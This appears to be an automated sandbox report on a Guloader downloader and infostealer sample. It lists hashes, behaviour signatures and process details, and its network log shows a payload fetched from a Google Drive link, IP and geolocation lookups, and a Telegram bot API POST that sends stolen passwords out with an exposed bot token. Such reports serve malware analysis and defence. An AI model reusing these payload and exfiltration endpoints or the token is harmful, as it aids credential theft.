Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Overview

overview

10

Static

static

3

ad084a1c28...3f.exe

windows7-x64

10

ad084a1c28...3f.exe

windows10-2004-x64

10

$PLUGINSDI...em.dll

windows7-x64

3

$PLUGINSDI...em.dll

windows10-2004-x64

3

Analysis

  • max time kernel
    147s
  • max time network
    147s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    11/01/2025, 04:49 UTC

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    ad084a1c285369520a48712abaef5ebb566572f32e345d7e2356ada3fea0473f.exe

  • Size

    455KB

  • MD5

    fd7d65a4a49c3867970510443c8819d5

  • SHA1

    088fa33f1e46a544ddec2d2493895abbf358b1d3

  • SHA256

    ad084a1c285369520a48712abaef5ebb566572f32e345d7e2356ada3fea0473f

  • SHA512

    39722036948fd74e97f6586122d86e2c7a4d16716fdd15020b73848345bcb5b3b75e1f956589fe4f6c4abfd658c20a712563b10abb701bfab06c8d417b0a0aec

  • SSDEEP

    12288:I5Az4Ci9QbB5i3M5vmdmKEBmnSXu7Jj1JK8s5FEeKB:ZAiK3cvmPEBmnSXu7Jj1JiceI

Score
10/10
guloadercollectiondiscoverydownloaderevasionspywarestealer

Malware Config

Signatures

  • Guloader family
    guloader
  • Guloader,Cloudeye

    A shellcode based downloader first seen in 2020.

    downloaderguloader
  • Disables Task Manager via registry modification
    evasion
  • Loads dropped DLL 2 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

    spywarestealer
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
    collection
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 1 IoCs
  • Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\ad084a1c285369520a48712abaef5ebb566572f32e345d7e2356ada3fea0473f.exe
    "C:\Users\Admin\AppData\Local\Temp\ad084a1c285369520a48712abaef5ebb566572f32e345d7e2356ada3fea0473f.exe"
    1⤵
    • Loads dropped DLL
    • Drops file in System32 directory
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Suspicious use of SetThreadContext
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: MapViewOfSection
    • Suspicious use of WriteProcessMemory
    PID:2376
    • C:\Users\Admin\AppData\Local\Temp\ad084a1c285369520a48712abaef5ebb566572f32e345d7e2356ada3fea0473f.exe
      "C:\Users\Admin\AppData\Local\Temp\ad084a1c285369520a48712abaef5ebb566572f32e345d7e2356ada3fea0473f.exe"
      2⤵
      • Accesses Microsoft Outlook profiles
      • Suspicious use of NtCreateThreadExHideFromDebugger
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • outlook_office_path
      • outlook_win_path
      PID:1380

Network

  • flag-us
    DNS
    97.17.167.52.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    97.17.167.52.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    172.210.232.199.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    172.210.232.199.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    0.159.190.20.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    0.159.190.20.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    95.221.229.192.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    95.221.229.192.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    drive.google.com
    ad084a1c285369520a48712abaef5ebb566572f32e345d7e2356ada3fea0473f.exe
    Remote address:
    8.8.8.8:53
    Request
    drive.google.com
    IN A
    Response
    drive.google.com
    IN A
    142.250.179.238
  • flag-gb
    GET
    https://drive.google.com/uc?export=download&id=1t40TkIMwnRUYXXqQGD85PlamUR-D2DEo
    ad084a1c285369520a48712abaef5ebb566572f32e345d7e2356ada3fea0473f.exe
    Remote address:
    142.250.179.238:443
    Request
    GET /uc?export=download&id=1t40TkIMwnRUYXXqQGD85PlamUR-D2DEo HTTP/1.1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0
    Host: drive.google.com
    Cache-Control: no-cache
    Response
    HTTP/1.1 303 See Other
    Content-Type: application/binary
    Cache-Control: no-cache, no-store, max-age=0, must-revalidate
    Pragma: no-cache
    Expires: Mon, 01 Jan 1990 00:00:00 GMT
    Date: Sat, 11 Jan 2025 04:49:28 GMT
    Location: https://drive.usercontent.google.com/download?id=1t40TkIMwnRUYXXqQGD85PlamUR-D2DEo&export=download
    Strict-Transport-Security: max-age=31536000
    Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
    Cross-Origin-Opener-Policy: same-origin
    Permissions-Policy: ch-ua-arch=*, ch-ua-bitness=*, ch-ua-full-version=*, ch-ua-full-version-list=*, ch-ua-model=*, ch-ua-wow64=*, ch-ua-form-factors=*, ch-ua-platform=*, ch-ua-platform-version=*
    Content-Security-Policy: script-src 'nonce-nWva7k60bXvJ6RjxROVDdg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'
    Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist
    Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport
    Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist
    Server: ESF
    Content-Length: 0
    X-XSS-Protection: 0
    X-Frame-Options: SAMEORIGIN
    X-Content-Type-Options: nosniff
    Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
  • flag-us
    DNS
    c.pki.goog
    ad084a1c285369520a48712abaef5ebb566572f32e345d7e2356ada3fea0473f.exe
    Remote address:
    8.8.8.8:53
    Request
    c.pki.goog
    IN A
    Response
    c.pki.goog
    IN CNAME
    pki-goog.l.google.com
    pki-goog.l.google.com
    IN A
    142.250.200.35
  • flag-gb
    GET
    http://c.pki.goog/r/r1.crl
    ad084a1c285369520a48712abaef5ebb566572f32e345d7e2356ada3fea0473f.exe
    Remote address:
    142.250.200.35:80
    Request
    GET /r/r1.crl HTTP/1.1
    Connection: Keep-Alive
    Accept: */*
    User-Agent: Microsoft-CryptoAPI/10.0
    Host: c.pki.goog
    Response
    HTTP/1.1 200 OK
    Accept-Ranges: bytes
    Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/cacerts
    Cross-Origin-Resource-Policy: cross-origin
    Cross-Origin-Opener-Policy: same-origin; report-to="cacerts"
    Report-To: {"group":"cacerts","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/cacerts"}]}
    Content-Length: 854
    X-Content-Type-Options: nosniff
    Server: sffe
    X-XSS-Protection: 0
    Date: Sat, 11 Jan 2025 04:07:32 GMT
    Expires: Sat, 11 Jan 2025 04:57:32 GMT
    Cache-Control: public, max-age=3000
    Age: 2516
    Last-Modified: Thu, 25 Jul 2024 14:48:00 GMT
    Content-Type: application/pkix-crl
    Vary: Accept-Encoding
  • flag-us
    DNS
    o.pki.goog
    ad084a1c285369520a48712abaef5ebb566572f32e345d7e2356ada3fea0473f.exe
    Remote address:
    8.8.8.8:53
    Request
    o.pki.goog
    IN A
    Response
    o.pki.goog
    IN CNAME
    pki-goog.l.google.com
    pki-goog.l.google.com
    IN A
    142.250.200.35
  • flag-gb
    GET
    http://o.pki.goog/wr2/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBRTQtSEi8EX%2BbYUTXd8%2ByMxD3s1zQQU3hse7XkV1D43JMMhu%2Bw0OW1CsjACEQDREXAZkIcRFgn9FoWvtnQ0
    ad084a1c285369520a48712abaef5ebb566572f32e345d7e2356ada3fea0473f.exe
    Remote address:
    142.250.200.35:80
    Request
    GET /wr2/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBRTQtSEi8EX%2BbYUTXd8%2ByMxD3s1zQQU3hse7XkV1D43JMMhu%2Bw0OW1CsjACEQDREXAZkIcRFgn9FoWvtnQ0 HTTP/1.1
    Connection: Keep-Alive
    Accept: */*
    User-Agent: Microsoft-CryptoAPI/10.0
    Host: o.pki.goog
    Response
    HTTP/1.1 200 OK
    Server: ocsp_responder
    Content-Length: 472
    X-XSS-Protection: 0
    X-Frame-Options: SAMEORIGIN
    Date: Sat, 11 Jan 2025 04:15:54 GMT
    Cache-Control: public, max-age=14400
    Content-Type: application/ocsp-response
    Age: 2014
  • flag-gb
    GET
    http://o.pki.goog/wr2/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBRTQtSEi8EX%2BbYUTXd8%2ByMxD3s1zQQU3hse7XkV1D43JMMhu%2Bw0OW1CsjACEQCtrC6LRgin8QlSmIIYAEvj
    ad084a1c285369520a48712abaef5ebb566572f32e345d7e2356ada3fea0473f.exe
    Remote address:
    142.250.200.35:80
    Request
    GET /wr2/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBRTQtSEi8EX%2BbYUTXd8%2ByMxD3s1zQQU3hse7XkV1D43JMMhu%2Bw0OW1CsjACEQCtrC6LRgin8QlSmIIYAEvj HTTP/1.1
    Connection: Keep-Alive
    Accept: */*
    User-Agent: Microsoft-CryptoAPI/10.0
    Host: o.pki.goog
    Response
    HTTP/1.1 200 OK
    Server: ocsp_responder
    Content-Length: 472
    X-XSS-Protection: 0
    X-Frame-Options: SAMEORIGIN
    Date: Sat, 11 Jan 2025 04:16:46 GMT
    Cache-Control: public, max-age=14400
    Content-Type: application/ocsp-response
    Age: 1963
  • flag-us
    DNS
    drive.usercontent.google.com
    ad084a1c285369520a48712abaef5ebb566572f32e345d7e2356ada3fea0473f.exe
    Remote address:
    8.8.8.8:53
    Request
    drive.usercontent.google.com
    IN A
    Response
    drive.usercontent.google.com
    IN A
    216.58.212.225
  • flag-gb
    GET
    https://drive.usercontent.google.com/download?id=1t40TkIMwnRUYXXqQGD85PlamUR-D2DEo&export=download
    ad084a1c285369520a48712abaef5ebb566572f32e345d7e2356ada3fea0473f.exe
    Remote address:
    216.58.212.225:443
    Request
    GET /download?id=1t40TkIMwnRUYXXqQGD85PlamUR-D2DEo&export=download HTTP/1.1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0
    Cache-Control: no-cache
    Host: drive.usercontent.google.com
    Connection: Keep-Alive
    Response
    HTTP/1.1 200 OK
    X-GUploader-UploadID: AFIdbgSCXuWSZJ1B7vmzrNhakvLhmPKwfbMXsqzhNT6C2xlhqnzegNpyTBujVrtMD5N1Hp0B3eIg_jc
    Content-Type: application/octet-stream
    Content-Security-Policy: sandbox
    Content-Security-Policy: default-src 'none'
    Content-Security-Policy: frame-ancestors 'none'
    X-Content-Security-Policy: sandbox
    Cross-Origin-Opener-Policy: same-origin
    Cross-Origin-Embedder-Policy: require-corp
    Cross-Origin-Resource-Policy: same-site
    X-Content-Type-Options: nosniff
    Content-Disposition: attachment; filename="EfvrItttis189.bin"
    Access-Control-Allow-Origin: *
    Access-Control-Allow-Credentials: false
    Access-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Date, developer-token, financial-institution-id, X-Goog-Sn-Metadata, X-Goog-Sn-PatientId, GData-Version, google-cloud-resource-prefix, linked-customer-id, login-customer-id, x-goog-request-params, Host, If-Match, If-Modified-Since, If-None-Match, If-Unmodified-Since, Origin, OriginToken, Pragma, Range, request-id, Slug, Transfer-Encoding, hotrod-board-name, hotrod-chrome-cpu-model, hotrod-chrome-processors, Want-Digest, X-Ad-Manager-Impersonation, x-chrome-connected, X-ClientDetails, X-Client-Pctx, X-Client-Version, x-debug-settings-metadata, X-Firebase-Locale, X-Goog-Firebase-Installations-Auth, X-Firebase-Client, X-Firebase-Client-Log-Type, X-Firebase-GMPID, X-Firebase-Auth-Token, X-Firebase-AppCheck, X-Firebase-Token, X-Goog-Drive-Client-Version, X-Goog-Drive-Resource-Keys, X-GData-Client, X-GData-Key, X-GoogApps-Allowed-Domains, X-Goog-AdX-Buyer-Impersonation, X-Goog-Api-Client, X-Goog-Visibilities, X-Goog-AuthUser, X-Google-EOM, x-goog-ext-124712974-jspb, x-goog-ext-467253834-jspb, x-goog-ext-353267353-bin, x-goog-ext-353267353-jspb, x-goog-ext-251363160-jspb, x-goog-ext-259736195-jspb, x-goog-ext-477772811-jspb, x-goog-ext-359275022-bin, x-goog-ext-328800237-jspb, x-goog-ext-202735639-bin, x-goog-ext-223435598-bin, X-Goog-PageId, X-Goog-Encode-Response-If-Executable, X-Goog-Correlation-Id, X-Goog-Request-Info, X-Goog-Request-Reason, X-Goog-Request-Time, X-Goog-Experiments, x-goog-iam-authority-selector, x-goog-iam-authorization-token, X-Goog-Spatula, X-Goog-Travel-Bgr, X-Goog-Travel-Settings, X-Goog-Upload-Command, X-Goog-Upload-Content-Disposition, X-Goog-Upload-Content-Length, X-Goog-Upload-Content-Type, X-Goog-Upload-File-Name, X-Goog-Upload-Header-Content-Encoding, X-Goog-Upload-Header-Content-Length, X-Goog-Upload-Header-Content-Type, X-Goog-Upload-Header-Transfer-Encoding, X-Goog-Upload-Offset, X-Goog-Upload-Protocol, x-goog-user-project, X-Goog-Visitor-Id, X-Goog-FieldMask, X-Google-Project-Override, x-goog-maps-api-salt, x-goog-maps-api-signature, x-goog-maps-client-id, X-Goog-Api-Key, x-goog-spanner-database-role, X-HTTP-Method-Override, X-JavaScript-User-Agent, X-Pan-Versionid, X-Proxied-User-IP, X-Origin, X-Referer, X-Requested-With, X-Stadia-Client-Context, X-Upload-Content-Length, X-Upload-Content-Type, X-Use-Alt-Service, X-Use-HTTP-Status-Code-Override, X-Ios-Bundle-Identifier, X-Places-Ios-Sdk, X-Android-Package, X-Android-Cert, X-Places-Android-Sdk, X-Goog-Maps-Ios-Uuid, X-Goog-Maps-Android-Uuid, X-Ariane-Xsrf-Token, X-YouTube-Bootstrap-Logged-In, X-YouTube-VVT, X-YouTube-Page-CL, X-YouTube-Page-Timestamp, X-Compass-Routing-Destination, x-framework-xsrf-token, X-Goog-Meeting-ABR, X-Goog-Meeting-Botguardid, X-Goog-Meeting-Bot-Info, X-Goog-Meeting-ClientInfo, X-Goog-Meeting-ClientVersion, X-Goog-Meeting-Debugid, X-Goog-Meeting-Identifier, X-Goog-Meeting-Interop-Cohorts, X-Goog-Meeting-Interop-Type, X-Goog-Meeting-OidcIdToken, X-Goog-Meeting-RtcClient, X-Goog-Meeting-StartSource, X-Goog-Meeting-Token, X-Goog-Meeting-Viewer-Token, X-Client-Data, x-sdm-id-token, X-Sfdc-Authorization, MIME-Version, Content-Transfer-Encoding, X-Earth-Engine-App-ID-Token, X-Earth-Engine-Computation-Profile, X-Earth-Engine-Computation-Profiling, X-Play-Console-Experiments-Override, X-Play-Console-Session-Id, x-alkali-account-key, x-alkali-application-key, x-alkali-auth-apps-namespace, x-alkali-auth-entities-namespace, x-alkali-auth-entity, x-alkali-client-locale, EES-S7E-MODE, cast-device-capabilities, X-Server-Timeout, x-foyer-client-environment, x-goog-greenenergyuserappservice-metadata, x-goog-sherlog-context, X-Server-Token, x-rfui-request-context, x-goog-nest-jwt, X-Cloud-Trace-Context, traceparent, x-goog-chat-space-id, x-goog-pan-request-context, X-AppInt-Credentials
    Access-Control-Allow-Methods: GET,HEAD,OPTIONS
    Accept-Ranges: bytes
    Content-Length: 94272
    Last-Modified: Sun, 15 Dec 2024 10:15:31 GMT
    Date: Sat, 11 Jan 2025 04:49:31 GMT
    Expires: Sat, 11 Jan 2025 04:49:31 GMT
    Cache-Control: private, max-age=0
    X-Goog-Hash: crc32c=fmqCJw==
    Server: UploadServer
    Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
  • flag-us
    DNS
    225.212.58.216.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    225.212.58.216.in-addr.arpa
    IN PTR
    Response
    225.212.58.216.in-addr.arpa
    IN PTR
    ams16s22-in-f11e100net
    225.212.58.216.in-addr.arpa
    IN PTR
    ams16s22-in-f225�H
    225.212.58.216.in-addr.arpa
    IN PTR
    lhr25s28-in-f1�H
  • flag-us
    DNS
    checkip.dyndns.org
    ad084a1c285369520a48712abaef5ebb566572f32e345d7e2356ada3fea0473f.exe
    Remote address:
    8.8.8.8:53
    Request
    checkip.dyndns.org
    IN A
    Response
    checkip.dyndns.org
    IN CNAME
    checkip.dyndns.com
    checkip.dyndns.com
    IN A
    193.122.6.168
    checkip.dyndns.com
    IN A
    158.101.44.242
    checkip.dyndns.com
    IN A
    132.226.8.169
    checkip.dyndns.com
    IN A
    132.226.247.73
    checkip.dyndns.com
    IN A
    193.122.130.0
  • flag-de
    GET
    http://checkip.dyndns.org/
    ad084a1c285369520a48712abaef5ebb566572f32e345d7e2356ada3fea0473f.exe
    Remote address:
    193.122.6.168:80
    Request
    GET / HTTP/1.1
    User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
    Host: checkip.dyndns.org
    Connection: Keep-Alive
    Response
    HTTP/1.1 200 OK
    Date: Sat, 11 Jan 2025 04:49:33 GMT
    Content-Type: text/html
    Content-Length: 106
    Connection: keep-alive
    Cache-Control: no-cache
    Pragma: no-cache
  • flag-de
    GET
    http://checkip.dyndns.org/
    ad084a1c285369520a48712abaef5ebb566572f32e345d7e2356ada3fea0473f.exe
    Remote address:
    193.122.6.168:80
    Request
    GET / HTTP/1.1
    User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
    Host: checkip.dyndns.org
    Response
    HTTP/1.1 200 OK
    Date: Sat, 11 Jan 2025 04:49:33 GMT
    Content-Type: text/html
    Content-Length: 106
    Connection: keep-alive
    Cache-Control: no-cache
    Pragma: no-cache
  • flag-de
    GET
    http://checkip.dyndns.org/
    ad084a1c285369520a48712abaef5ebb566572f32e345d7e2356ada3fea0473f.exe
    Remote address:
    193.122.6.168:80
    Request
    GET / HTTP/1.1
    User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
    Host: checkip.dyndns.org
    Response
    HTTP/1.1 200 OK
    Date: Sat, 11 Jan 2025 04:49:39 GMT
    Content-Type: text/html
    Content-Length: 106
    Connection: keep-alive
    Cache-Control: no-cache
    Pragma: no-cache
  • flag-us
    DNS
    reallyfreegeoip.org
    ad084a1c285369520a48712abaef5ebb566572f32e345d7e2356ada3fea0473f.exe
    Remote address:
    8.8.8.8:53
    Request
    reallyfreegeoip.org
    IN A
    Response
    reallyfreegeoip.org
    IN A
    104.21.80.1
    reallyfreegeoip.org
    IN A
    104.21.32.1
    reallyfreegeoip.org
    IN A
    104.21.112.1
    reallyfreegeoip.org
    IN A
    104.21.96.1
    reallyfreegeoip.org
    IN A
    104.21.48.1
    reallyfreegeoip.org
    IN A
    104.21.16.1
    reallyfreegeoip.org
    IN A
    104.21.64.1
  • flag-us
    GET
    https://reallyfreegeoip.org/xml/181.215.176.83
    ad084a1c285369520a48712abaef5ebb566572f32e345d7e2356ada3fea0473f.exe
    Remote address:
    104.21.80.1:443
    Request
    GET /xml/181.215.176.83 HTTP/1.1
    Host: reallyfreegeoip.org
    Connection: Keep-Alive
    Response
    HTTP/1.1 200 OK
    Date: Sat, 11 Jan 2025 04:49:33 GMT
    Content-Type: text/xml
    Content-Length: 356
    Connection: keep-alive
    Cache-Control: max-age=31536000
    CF-Cache-Status: HIT
    Age: 5058427
    Last-Modified: Wed, 13 Nov 2024 15:42:26 GMT
    Accept-Ranges: bytes
    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=i%2BnL4EJMgPAbefdELREGko0yTAeyDHzrMIIETtx7ZR9DB0VPmpLf961cpUNNhClGeJQ3rBhuBLGKnO2K1B7NwdCDRqOdiw1spxtwJu1%2BKBNZp67De3UWzfCldFCa6iGE9bH51L9P"}],"group":"cf-nel","max_age":604800}
    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
    Server: cloudflare
    CF-RAY: 900247e9a9ab3865-LHR
    alt-svc: h3=":443"; ma=86400
    server-timing: cfL4;desc="?proto=TCP&rtt=41346&min_rtt=27251&rtt_var=33707&sent=5&recv=7&lost=0&retrans=0&sent_bytes=3009&recv_bytes=390&delivery_rate=137505&cwnd=253&unsent_bytes=0&cid=92b098055a8bc6a9&ts=192&x=0"
  • flag-us
    DNS
    168.6.122.193.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    168.6.122.193.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    1.80.21.104.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    1.80.21.104.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    13.86.106.20.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    13.86.106.20.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    api.telegram.org
    ad084a1c285369520a48712abaef5ebb566572f32e345d7e2356ada3fea0473f.exe
    Remote address:
    8.8.8.8:53
    Request
    api.telegram.org
    IN A
    Response
    api.telegram.org
    IN A
    149.154.167.220
  • flag-nl
    POST
    https://api.telegram.org/bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=Admin%20/%20Passwords%20/%20181.215.176.83
    ad084a1c285369520a48712abaef5ebb566572f32e345d7e2356ada3fea0473f.exe
    Remote address:
    149.154.167.220:443
    Request
    POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=Admin%20/%20Passwords%20/%20181.215.176.83 HTTP/1.1
    Content-Type: multipart/form-data; boundary================8dd31fb5a61332e
    Host: api.telegram.org
    Content-Length: 1096
    Connection: Keep-Alive
    Response
    HTTP/1.1 200 OK
    Server: nginx/1.18.0
    Date: Sat, 11 Jan 2025 04:49:39 GMT
    Content-Type: application/json
    Content-Length: 544
    Connection: keep-alive
    Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
    Access-Control-Allow-Origin: *
    Access-Control-Allow-Methods: GET, POST, OPTIONS
    Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
  • flag-us
    DNS
    220.167.154.149.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    220.167.154.149.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    50.23.12.20.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    50.23.12.20.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    241.42.69.40.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    241.42.69.40.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    21.236.111.52.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    21.236.111.52.in-addr.arpa
    IN PTR
    Response
  • 142.250.179.238:443
    https://drive.google.com/uc?export=download&id=1t40TkIMwnRUYXXqQGD85PlamUR-D2DEo
    tls, http
    ad084a1c285369520a48712abaef5ebb566572f32e345d7e2356ada3fea0473f.exe
    1.2kB
     9.2kB
     15
    12

    HTTP Request

    GET https://drive.google.com/uc?export=download&id=1t40TkIMwnRUYXXqQGD85PlamUR-D2DEo

    HTTP Response

    303
  • 142.250.200.35:80
    http://c.pki.goog/r/r1.crl
    http
    ad084a1c285369520a48712abaef5ebb566572f32e345d7e2356ada3fea0473f.exe
    395 B
     1.8kB
     6
    5

    HTTP Request

    GET http://c.pki.goog/r/r1.crl

    HTTP Response

    200
  • 142.250.200.35:80
    http://o.pki.goog/wr2/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBRTQtSEi8EX%2BbYUTXd8%2ByMxD3s1zQQU3hse7XkV1D43JMMhu%2Bw0OW1CsjACEQCtrC6LRgin8QlSmIIYAEvj
    http
    ad084a1c285369520a48712abaef5ebb566572f32e345d7e2356ada3fea0473f.exe
    828 B
     1.6kB
     8
    5

    HTTP Request

    GET http://o.pki.goog/wr2/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBRTQtSEi8EX%2BbYUTXd8%2ByMxD3s1zQQU3hse7XkV1D43JMMhu%2Bw0OW1CsjACEQDREXAZkIcRFgn9FoWvtnQ0

    HTTP Response

    200

    HTTP Request

    GET http://o.pki.goog/wr2/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBRTQtSEi8EX%2BbYUTXd8%2ByMxD3s1zQQU3hse7XkV1D43JMMhu%2Bw0OW1CsjACEQCtrC6LRgin8QlSmIIYAEvj

    HTTP Response

    200
  • 216.58.212.225:443
    https://drive.usercontent.google.com/download?id=1t40TkIMwnRUYXXqQGD85PlamUR-D2DEo&export=download
    tls, http
    ad084a1c285369520a48712abaef5ebb566572f32e345d7e2356ada3fea0473f.exe
    4.6kB
     109.2kB
     87
    84

    HTTP Request

    GET https://drive.usercontent.google.com/download?id=1t40TkIMwnRUYXXqQGD85PlamUR-D2DEo&export=download

    HTTP Response

    200
  • 193.122.6.168:80
    http://checkip.dyndns.org/
    http
    ad084a1c285369520a48712abaef5ebb566572f32e345d7e2356ada3fea0473f.exe
    807 B
     1.1kB
     9
    7

    HTTP Request

    GET http://checkip.dyndns.org/

    HTTP Response

    200

    HTTP Request

    GET http://checkip.dyndns.org/

    HTTP Response

    200

    HTTP Request

    GET http://checkip.dyndns.org/

    HTTP Response

    200
  • 104.21.80.1:443
    https://reallyfreegeoip.org/xml/181.215.176.83
    tls, http
    ad084a1c285369520a48712abaef5ebb566572f32e345d7e2356ada3fea0473f.exe
    838 B
     4.6kB
     10
    8

    HTTP Request

    GET https://reallyfreegeoip.org/xml/181.215.176.83

    HTTP Response

    200
  • 149.154.167.220:443
    https://api.telegram.org/bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=Admin%20/%20Passwords%20/%20181.215.176.83
    tls, http
    ad084a1c285369520a48712abaef5ebb566572f32e345d7e2356ada3fea0473f.exe
    2.3kB
     7.3kB
     12
    13

    HTTP Request

    POST https://api.telegram.org/bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=Admin%20/%20Passwords%20/%20181.215.176.83

    HTTP Response

    200
  • 8.8.8.8:53
    97.17.167.52.in-addr.arpa
    dns
    71 B
     145 B
     1
    1

    DNS Request

    97.17.167.52.in-addr.arpa

  • 8.8.8.8:53
    172.210.232.199.in-addr.arpa
    dns
    74 B
     128 B
     1
    1

    DNS Request

    172.210.232.199.in-addr.arpa

  • 8.8.8.8:53
    0.159.190.20.in-addr.arpa
    dns
    71 B
     157 B
     1
    1

    DNS Request

    0.159.190.20.in-addr.arpa

  • 8.8.8.8:53
    95.221.229.192.in-addr.arpa
    dns
    73 B
     144 B
     1
    1

    DNS Request

    95.221.229.192.in-addr.arpa

  • 8.8.8.8:53
    drive.google.com
    dns
    ad084a1c285369520a48712abaef5ebb566572f32e345d7e2356ada3fea0473f.exe
    62 B
     78 B
     1
    1

    DNS Request

    drive.google.com

    DNS Response

    142.250.179.238

  • 8.8.8.8:53
    c.pki.goog
    dns
    ad084a1c285369520a48712abaef5ebb566572f32e345d7e2356ada3fea0473f.exe
    56 B
     107 B
     1
    1

    DNS Request

    c.pki.goog

    DNS Response

    142.250.200.35

  • 8.8.8.8:53
    o.pki.goog
    dns
    ad084a1c285369520a48712abaef5ebb566572f32e345d7e2356ada3fea0473f.exe
    56 B
     107 B
     1
    1

    DNS Request

    o.pki.goog

    DNS Response

    142.250.200.35

  • 8.8.8.8:53
    drive.usercontent.google.com
    dns
    ad084a1c285369520a48712abaef5ebb566572f32e345d7e2356ada3fea0473f.exe
    74 B
     90 B
     1
    1

    DNS Request

    drive.usercontent.google.com

    DNS Response

    216.58.212.225

  • 8.8.8.8:53
    225.212.58.216.in-addr.arpa
    dns
    73 B
